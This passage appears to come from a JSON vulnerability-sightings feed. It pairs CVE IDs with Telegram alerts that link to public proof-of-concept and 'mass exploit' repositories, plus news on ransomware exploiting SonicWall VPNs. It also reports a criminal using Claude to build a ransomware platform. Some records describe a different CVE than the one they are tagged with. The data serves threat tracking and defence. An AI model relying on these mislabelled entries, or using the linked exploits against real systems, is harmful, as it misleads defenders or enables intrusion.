\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0441 \u0443\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 CVE-2024-40766.\n\n- Scattered Spider (UNC3944)\u00a0\u0430\u0442\u0430\u043a\u0443\u0435\u0442\u00a0\u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u044b VMware, \u0432\u044b\u0434\u0430\u0432\u0430\u044f \u0441\u0435\u0431\u044f \u0437\u0430 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\u00a0\n\n- \u0417\u0430\u043c\u0435\u0447\u0435\u043d\u044b\u00a0\u0430\u0442\u0430\u043a\u0438 \u043d\u0430 SharePoint-\u0441\u0435\u0440\u0432\u0435\u0440\u044b\u00a0\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\u00a0ToolShell, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0432\u0448\u0438\u0435 \u0431\u043e\u043b\u0435\u0435 140 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \n\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c 4L4MD4R, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u043a\u043e\u0434\u0435 Mauri870.\n\n- \u0411\u0440\u0438\u0442\u0430\u043d\u0441\u043a\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Claude\u00a0\u0441\u043e\u0437\u0434\u0430\u043b \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u00a0\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 RaaS.\n\n- \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0439 LLM-\u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a\u0438, \u0438 \u0434\u0430\u043b\u0438 \u0435\u043c\u0443 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 PromptLock (\u043f\u043e\u0437\u0436\u0435 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e PromptLock, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043e\u0441\u043d\u043e\u0432\u0430\u043d \u043d\u0430 \u0438\u0445 \u0443\u0447\u0435\u0431\u043d\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u0435).\n\n3. \u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438:\n\n- \u041a\u0430\u043a \u0438 \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435, \u0441\u0430\u043c\u043e\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0433\u0440\u0443\u043f\u043f\u0430 Qilin, \u0447\u044c\u044f \u0434\u043e\u043b\u044f \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043d\u0430 1,89 \u043f. \u043f. \u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 14,96%.\n\n- \u0428\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a Clop \u0441\u043d\u0438\u0437\u0438\u043b \u0441\u0432\u043e\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c, \u0430 \u0434\u043e\u043b\u044f Akira (10,02%) \u043d\u0435\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0440\u043e\u0441\u043b\u0430.\n\n- \u041d\u0430 \u0442\u0440\u0435\u0442\u044c\u0435 \u043c\u0435\u0441\u0442\u043e \u043f\u043e\u0434\u043d\u044f\u043b\u0430\u0441\u044c \u0433\u0440\u0443\u043f\u043f\u0430 INC Ransom (8,15%), \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0441 2023 \u0433\u043e\u0434\u0430.\n\n\u0427\u0442\u043e \u0432\u0430\u0436\u043d\u043e, \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0432 \u041b\u041a \u0432 \u0447\u0430\u0441\u0442\u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u0431\u044b\u043b \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d \u043f\u043e\u0434\u0445\u043e\u0434 \u0432 \u043f\u043e\u0434\u0441\u0447\u0435\u0442\u0435 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 Kaspersky Security Network. \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0441\u043d\u0443\u043b\u0438\u0441\u044c \u0432\u0441\u0435\u0445 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043e\u0442\u0447\u0435\u0442\u0430, \u043a\u0440\u043e\u043c\u0435 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u043f\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u0447\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442\u0430\u043c, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043e\u043d\u0438 \u043d\u0435 \u043f\u043e\u0432\u043b\u0438\u044f\u043b\u0438.\n\n\u0414\u043b\u044f \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0438 \u043c\u0435\u0436\u0434\u0443 \u043e\u0442\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u043f\u0435\u0440\u0438\u043e\u0434\u0430\u043c\u0438 \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0438 \u043f\u0435\u0440\u0435\u0441\u0447\u0438\u0442\u0430\u043d\u044b \u0434\u0430\u043d\u043d\u044b\u0435 \u0437\u0430 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u044b, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0440\u0430\u043d\u0435\u0435.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 \u0442\u0440\u0435\u0442\u044c\u0435\u0433\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430 2025 \u0433\u043e\u0434\u0430:\n\n- \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u043e 3,47 \u043c\u043b\u043d \u0430\u0442\u0430\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e, \u0440\u0435\u043a\u043b\u0430\u043c\u043d\u043e\u0433\u043e \u0438\u043b\u0438 \u043d\u0435\u0436\u0435\u043b\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u041f\u041e;\n\n- \u0441\u0440\u0435\u0434\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0434\u043b\u044f \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0441\u0430\u043c\u043e\u0439 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u0441\u0442\u0430\u043b\u0438 \u0442\u0440\u043e\u044f\u043d\u0446\u044b\u00a0- \u0441 \u043d\u0438\u043c\u0438 \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c 15,78% \u043e\u0442 \u0432\u0441\u0435\u0445 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e;\n\n- \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0431\u043e\u043b\u0435\u0435 197 \u0442\u044b\u0441\u044f\u0447 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u0447\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445: 52\u00a0723 - \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c \u043a \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u043c \u0431\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u043c \u0442\u0440\u043e\u044f\u043d\u0446\u0430\u043c, 1564 \u043f\u0430\u043a\u0435\u0442\u0430\u00a0- \u043a \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u043c \u0442\u0440\u043e\u044f\u043d\u0446\u0430\u043c-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f\u043c.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430, \u0440\u0430\u0437\u0431\u043e\u0440 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0442\u0440\u0435\u043d\u0434\u043e\u0432 \u0438 \u043c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u0438\u043d\u0444\u044b - \u0432 \u043e\u0442\u0447\u0435\u0442\u0430\u0445 \u043f\u043e \u041f\u041a \u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c (1 \u0438 2 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e).", "creation_timestamp": "2025-11-26T19:56:03.000000Z"}, {"uuid": "a32bc676-e522-44fc-ae71-4d0f89d1c5fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7870", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-4040 PoC\nURL\uff1ahttps://github.com/entroychang/CVE-2024-4040\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-05T05:48:43.000000Z"}, {"uuid": "be24b028-36d0-467a-8bdf-36b54e69261e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "published-proof-of-concept", "source": "Telegram/G1YIpqTouZZ7RGRq-g0EK5R-A4RVmquYDNGd4eb7udpn90Y", "content": "", "creation_timestamp": "2025-06-14T15:00:07.000000Z"}, {"uuid": "7ceaf7ed-dadf-4041-904c-3dabe78e836e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/HackerArsenal/384", "content": "CVE-2024-40711  Exploit Veeam backup and Replication\n*\nWriteUp\n*\nPre-Auth exploit\n\n#veeam #rce", "creation_timestamp": "2024-09-16T22:32:19.000000Z"}, {"uuid": "421c076c-e268-407b-85de-1d78fb5b93af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40507", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7976", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aOpenPetra v.2023.02 Use CVE-2024-40507\nURL\uff1ahttps://github.com/Jansen-C-Moreira/Use-CVE-2024-40507\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-13T21:52:10.000000Z"}, {"uuid": "359adbc6-9925-4ac6-a901-a21b52d6392e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40506", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7975", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aOpenPetra v.2023.02 CVE-2024-40506\nURL\uff1ahttps://github.com/Jansen-C-Moreira/CVE-2024-40506\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-13T21:43:53.000000Z"}, {"uuid": "0daa6e64-4d68-4afc-9cb4-f55836a63047", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8753", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-40711-exp\nURL\uff1ahttps://github.com/realstatus/CVE-2024-40711-Exp\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-10-16T05:19:54.000000Z"}, {"uuid": "3411927d-1844-41b5-be41-f2d7cae0f367", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/thehackernews/7505", "content": "\ud83d\udea8 Akira ransomware is back \u2014 hammering SonicWall VPNs through a year-old flaw (CVE-2024-40766, CVSS 9.3).\n\nOne misstep in SonicWall\u2019s LDAP \u201cDefault User Group\u201d can hand attackers VPN + admin access the moment they steal a password.\n\nAkira has already hit 967 victims and is surging again.\n\nCheck your configs. Fix it now.\n\nDetails here \u2192 https://thehackernews.com/2025/09/sonicwall-ssl-vpn-flaw-and.html", "creation_timestamp": "2025-09-11T10:35:50.000000Z"}, {"uuid": "e990cf24-3534-434b-b809-9b62c5393538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/BleepingComputer/22936", "content": "\u200aAkira ransomware exploiting critical SonicWall SSLVPN bug again\n\nThe Akira ransomware gang is actively exploiting\u00a0CVE-2024-40766, a\u00a0year-old critical-severity access control vulnerability, to gain unauthorized access to SonicWall devices. [...]\n\nhttps://www.bleepingcomputer.com/news/security/akira-ransomware-exploiting-critical-sonicwall-sslvpn-bug-again/", "creation_timestamp": "2025-09-11T17:08:02.000000Z"}, {"uuid": "9983879d-5165-4c4e-aedf-00386dc9d593", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/cibsecurity/86915", "content": "\ud83e\udd85 Australian Cyber Authorities Warn of Active Exploitation of SonicWall SSL Vulnerability (CVE-2024-40766) \ud83e\udd85\n\nCVE202440766 \" dataimagecaption\"\" datamediumfile\"httpscyble.comwpcontentuploads202509CVE202440766300x150.webp\" datalargefile\"httpscyble.comwpcontentuploads202509CVE202440766.webp\" title\"Australian Cyber Authorities Warn of Active Exploitation of SonicWall SSL Vulnerability CVE202440766\u00a0 1\"  The Australian Signals Directorates Australian Cyber Security Centre ASDs ACSC has issued an urgent warning following the active exploitation of a critical vulnerability affecting SonicWall SSL VPN appliances across Australia. The flaw, CVE202440766, is being leveraged by threat actors, including those deploying Akira ransomware, to gain unauthorized access to networks and, in some instances, cause firewall crashes.\u00a0   This vulnerability, first disclosed in August 2024 under advisory ID SNWLID2024001...\n\n\ud83d\udcd6 Read more.\n\n\ud83d\udd17 Via \"CYBLE\"\n\n----------\n\ud83d\udc41\ufe0f Seen on @cibsecurity", "creation_timestamp": "2025-09-11T15:39:57.000000Z"}, {"uuid": "26d7e9cc-3b24-46c5-91a5-0b37fd57eb73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://www.acn.gov.it/portale/w/akira-campagne-di-sfruttamento-sistematico-di-vulnerabilita-perimetrali-e-accessi-vpn", "content": "", "creation_timestamp": "2026-04-13T03:29:00.000000Z"}, {"uuid": "b7194bc1-4639-425c-8e0a-11f934b3b55d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://www.acn.gov.it/portale/w/akira-campagne-di-sfruttamento-sistematico-di-vulnerabilita-perimetrali-e-accessi-vpn", "content": "", "creation_timestamp": "2026-04-13T03:29:00.000000Z"}, {"uuid": "d7bfbb23-a900-4a1b-89ed-32c9fdf48adc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40119", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8001", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1ageoserver CVE-2024-36401\u6f0f\u6d1e\u5229\u7528\u5de5\u5177\nURL\uff1ahttps://github.com/sudo-subho/nepstech-xpon-router-CVE-2024-40119\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-17T03:07:05.000000Z"}, {"uuid": "b8ea75b7-2485-431e-8c2e-399f65a9220f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8023", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aWhy GNU IFUNC is the real culprit behind CVE-2024-3094\nURL\uff1ahttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-19T03:58:31.000000Z"}, {"uuid": "e5befc42-6ff2-4bb7-9b29-4c0f48818a12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40896", "type": "seen", "source": "Telegram/m_jWpN-YyWjJxww8_a7BUY4VxB2kd5rjPQ1yafE3nBuWNoWK", "content": "", "creation_timestamp": "2025-03-02T11:44:23.000000Z"}, {"uuid": "3fd7e25e-7076-4656-927d-5dd432c5c4d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/BleepingComputer/20918", "content": "\u200aFog ransomware targets SonicWall VPNs to breach corporate networks\n\nFog and Akira ransomware operators have increased their exploitation efforts of CVE-2024-40766, a critical access control flaw that allows unauthorized access to resources on the SSL VPN feature of SonicWall SonicOS firewalls. [...]\n\nhttps://www.bleepingcomputer.com/news/security/fog-ransomware-targets-sonicwall-vpns-to-breach-corporate-networks/", "creation_timestamp": "2024-10-27T21:49:45.000000Z"}, {"uuid": "3e0465ff-45a0-4a00-b76b-89971f6fb6ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8069", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aMass Exploit < [CVE-2024-40348 - Bazarr] - Arbitrary File Read\nURL\uff1ahttps://github.com/codeb0ss/CVE-2024-40348-PoC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-24T16:15:53.000000Z"}, {"uuid": "3b4614ce-4a4e-4cbb-8b91-314b0a4e578e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/BleepingComputer/20629", "content": "\u200aSonicWall SSLVPN access control flaw is now exploited in attacks\n\nSonicWall is warning that a recently fixed access control flaw tracked as CVE-2024-40766\u00a0in SonicOS is now \"potentially\" exploited in attacks, urging admins to apply patches as soon as possible. [...]\n\nhttps://www.bleepingcomputer.com/news/security/sonicwall-sslvpn-access-control-flaw-is-now-exploited-in-attacks/", "creation_timestamp": "2024-09-06T13:37:01.000000Z"}, {"uuid": "41053513-f178-49bf-8b65-2d1335540719", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40617", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8125", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aProof of concept to exploit CVE-2024-40617\nURL\uff1ahttps://github.com/KyssK00L/CVE-2024-40617\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-30T11:51:29.000000Z"}, {"uuid": "5dae4c6a-e437-45e8-a3cf-2da9c7067ab9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40422", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8174", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aMass Exploit < [CVE-2024-40422 - Devika v1] - Path Traversal\nURL\uff1ahttps://github.com/codeb0ss/CVE-2024-40422-PoC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-08-05T22:26:45.000000Z"}, {"uuid": "c5f8f61a-b6b6-454c-89f0-4ac724abcbd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/thehackernews/7302", "content": "\ud83d\udea8 Attackers are hitting SonicWall firewalls again\u2014but it\u2019s not a new zero-day. \n\nTurns out, they\u2019re exploiting a known bug (CVE-2024-40766) and weak password hygiene. \n\nMigrating from Gen 6 to Gen 7 without resets? That\u2019s leaving doors wide open.\n\nFull details + what to fix \u2192 https://thehackernews.com/2025/08/sonicwall-confirms-patched.html", "creation_timestamp": "2025-08-07T11:07:38.000000Z"}, {"uuid": "bc1ad91d-a192-4f61-96e6-79960be6d5de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40892", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8323", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aProof of Concept code for interaction with Firewalla via Bluetooth Low-Energy and exploitation of CVE-2024-40892 / CVE-2024-40893\nURL\uff1ahttps://github.com/xen0bit/fwbt\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-08-21T17:39:46.000000Z"}, {"uuid": "7a95103c-1f64-4aa3-8880-844cbea87500", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40893", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8323", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aProof of Concept code for interaction with Firewalla via Bluetooth Low-Energy and exploitation of CVE-2024-40892 / CVE-2024-40893\nURL\uff1ahttps://github.com/xen0bit/fwbt\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-08-21T17:39:46.000000Z"}, {"uuid": "e9d747eb-1500-4190-9ced-0a39912b5250", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9487", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aexploit CVE-2024-40725 (Apache httpd) with \nURL\uff1ahttps://github.com/soltanali0/CVE-2024-40725\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-18T15:13:31.000000Z"}, {"uuid": "1b7ce749-2efd-4576-b758-401af82c21c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7604", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40725\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A partial fix for\u00a0 